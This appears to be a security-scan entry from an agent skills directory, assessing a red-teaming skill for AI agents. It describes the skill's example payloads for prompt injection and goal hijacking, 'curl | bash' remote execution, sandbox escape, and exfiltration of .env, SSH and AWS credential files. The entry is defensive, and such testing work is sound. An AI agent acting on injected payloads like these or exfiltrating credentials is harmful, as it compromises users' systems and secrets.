The Agent Skills Directory

[INDIRECT_PROMPT_INJECTION]: The skill provides a set of reference payloads for testing goal hijacking and prompt injection (ASI01). While these are intended for educational testing, they represent a surface where an agent processing this content could potentially misinterpret the example payloads as active instructions.
Ingestion points: The methodology and attack scenario documentation in SKILL.md and references/agent-attack-scenarios.md.
Boundary markers: Payloads are clearly demarcated within markdown code blocks and identified with labels such as 'Example' or 'Payload'.
Capability inventory: The skill itself does not request any tool execution or file-write permissions in its YAML frontmatter or associated instruction files.
Sanitization: The content is descriptive and relies on the processing agent's ability to maintain context separation between training data and active commands.
[REMOTE_CODE_EXECUTION]: The reference guide contains illustrative examples of remote script execution, such as 'curl | bash', for the purpose of demonstrating how agents can be hijacked via external payloads.
[COMMAND_EXECUTION]: The documentation includes examples of arbitrary command execution intended to demonstrate vulnerabilities related to tool misuse and sandbox escape (ASI05).
[DATA_EXFILTRATION]: The skill details methods for exfiltrating sensitive files (e.g., .env, .ssh/config, .aws/credentials) to educate users on detecting data exposure risks in agentic systems (ASI02/ASI03).

agent-security